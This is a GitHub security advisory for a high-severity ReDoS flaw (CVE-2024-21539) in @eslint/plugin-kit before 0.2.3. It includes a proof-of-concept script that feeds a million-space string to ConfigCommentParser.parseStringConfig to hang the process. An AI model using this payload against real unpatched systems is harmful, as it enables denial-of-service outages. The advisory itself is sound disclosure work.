Skip to content

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

High severity GitHub Reviewed Published Nov 15, 2024 in eslint/rewrite • Updated Nov 15, 2024

Package

npm @eslint/plugin-kit (npm)

Affected versions

< 0.2.3

Patched versions

0.2.3

Description

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage

References

@mdjermanovic mdjermanovic published to eslint/rewrite Nov 15, 2024
Published to the GitHub Advisory Database Nov 15, 2024
Reviewed Nov 15, 2024
Last updated Nov 15, 2024

Severity

High

Weaknesses

CVE ID

CVE-2024-21539

GHSA ID

GHSA-7q7g-4xm8-89cq

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.